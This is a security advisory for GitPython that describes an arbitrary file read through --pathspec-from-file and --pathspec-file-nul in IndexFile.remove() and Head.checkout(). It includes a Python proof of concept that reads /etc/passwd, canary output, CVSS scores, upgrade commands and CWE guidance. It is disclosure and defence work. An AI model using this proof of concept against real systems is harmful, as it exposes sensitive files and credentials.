GHSA-hh9p-6wh2-4mfc CVE-2026-76217 PYSEC-2026-3841
GitPython: Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout()
- Severity
- 7.1 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.41%
- Chance of exploitation in the next 30 days. Higher than 35.46% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
- CWE-73 External Control of File Name or Path
- Fix
3.1.58- Upgrade gitpython to this version or later
Description
Summary
IndexFile.remove() and Head.checkout() forward **kwargs into git rm and git checkout
with no guard. Passing --pathspec-from-file=<file> together with --pathspec-file-nul
makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec
error quotes it verbatim. GitPython surfaces that through GitCommandError.stderr, so the
entire contents of a caller-chosen file are returned to the caller in band.
This is the same primitive as Instance 2 of
GHSA-3f7w-8rr8-f37f - TagReference.create()
with -F, arbitrary file read returned in band - at two sites that advisory assessed and
cleared.
Prior art, and why I am filing rather than commenting
GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment
"--pathspec-from-file only reads a pathspec; no write or disclosure primitive found":
| Call site | git command | that advisory's assessment |
|---|---|---|
IndexFile.remove() |
rm |
--pathspec-from-file only reads a pathspec; no write or disclosure primitive found |
IndexFile.move() |
mv |
same |
HEAD.reset() |
reset |
same |
HEAD.checkout() |
checkout |
same |
That assessment is very nearly right, and I think that is why it held: with
--pathspec-from-file alone, Git splits on newlines and the error quotes only the first
line, which reads as an uninteresting partial. Adding --pathspec-file-nul - a sibling flag
of the same option, and the documented way to handle paths containing newlines - makes the
whole file one pathspec.
Root cause
git/index/base.py:991-1043:
def remove(self, items, working_tree=False, **kwargs):
...
removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines() # line 1043
git/refs/head.py:237-268:
def checkout(self, force: bool = False, **kwargs: Any):
...
self.repo.git.checkout(self, **kwargs) # line 268
Neither has an allow_unsafe_options parameter or a check_unsafe_options() call.
Proof of concept
from git import Repo
from git.exc import GitCommandError
repo = Repo("/path/to/repo")
kw = dict(pathspec_from_file="/etc/passwd", pathspec_file_nul=True)
try:
repo.index.remove([], **kw) # or: repo.heads[0].checkout(**kw)
except GitCommandError as e:
print(e.stderr) # <- entire file contents
Observed on published 3.1.57, against a canary file holding three marked lines:
[PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band
stderr: 'fatal: pathspec 'LINE1-CANARY-4242
LINE2-SECRET-7777
LINE3-TAIL-9999
' did not match any files'
[PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band
stderr: 'error: pathspec 'LINE1-CANARY-4242
LINE2-SECRET-7777
LINE3-TAIL-9999
' did not match any file(s) known to git'
[PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses
[PASS] PRECISION: the GUARDED checkout-index leaks 0/3
The two precision controls are there so the result is about these sinks and not about the canary being visible everywhere.
Scope correction to the table above
Of the four sites cleared with that sentence, two disclose and two do not:
| Call site | disclosed? |
|---|---|
IndexFile.remove() → git rm |
yes, full file |
Head.checkout() → git checkout |
yes, full file |
HEAD.reset() → git reset |
no - git reset does not error on unmatched pathspecs |
IndexFile.move() → git mv |
no |
The two negatives are mentioned because "the dismissal was wrong" would overstate it: the dismissal was wrong for half of what it covered.
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| gitpython | < 3.1.58 |
3.1.58 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
gitpython PyPI → 3.1.58
- pip
pip install --upgrade "gitpython>=3.1.58"- poetry
poetry add "gitpython>=3.1.58"- uv
uv add "gitpython>=3.1.58"
Severity breakdown
CVSS 4.0 7.1
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
- Exploit maturity
- Not defined
- Scope
- X
CVSS 3.1 6.5
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Weakness
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
How to prevent it
- Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CWE-73: External Control of File Name or Path
The product allows user input to control or influence paths or file names that are used in filesystem operations.
How to prevent it
- Architecture and Design: When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
- Architecture and Design, Operation: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Implementation: Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
- Installation, Operation: Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
- Operation, Implementation: If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
- Testing: Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
References
Advisories
Packages
Other links
- github.com/gitpython-developers/GitPython/security/advisories/GHSA-hh9p-6wh2-4mfc
- github.com/gitpython-developers/GitPython/pull/2204
- github.com/gitpython-developers/GitPython/commit/f2550b65bf60ca087190981e2c7b68…
- github.com/gitpython-developers/GitPython/releases/tag/3.1.58
- vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-pathspec-from-file
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-83vg-56qc-22m7 GitPython validates a submodule's ".git" path only after cloning into it (RCE) | High | Also affects gitpython |
| GHSA-gq48-pqfc-9p58 GitPython: Submodule.move() follows an attacker-committed intermediate symlink outside the worktree | Medium | Also affects gitpython |
| GHSA-23mf-xhv8-69c2 GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679) | High | Also affects gitpython |
| GHSA-f9j4-qggq-h239 GitPython Remote.pull() refspec bypasses the --upload-pack unsafe-option guard, enabling arbitrary command execution | Critical | Also affects gitpython |
| GHSA-w8jc-g24h-crhw GitPython command wrappers omit unsafe protocol and option checks | High | Also affects gitpython |
| GHSA-m64x-33q8-m5h7 GitPython parse_actor_and_date() is vulnerable to quadratic backtracking on malformed identity lines | High | Also affects gitpython |
| GHSA-fx3j-rwgx-fr94 GitPython: separate_git_dir leaks env vars via crafted .gitmodules submodule name | High | Also affects gitpython |
| GHSA-59cr-6r3x-644w GitPython submodule update path traversal can write outside the repository | Medium | Also affects gitpython |
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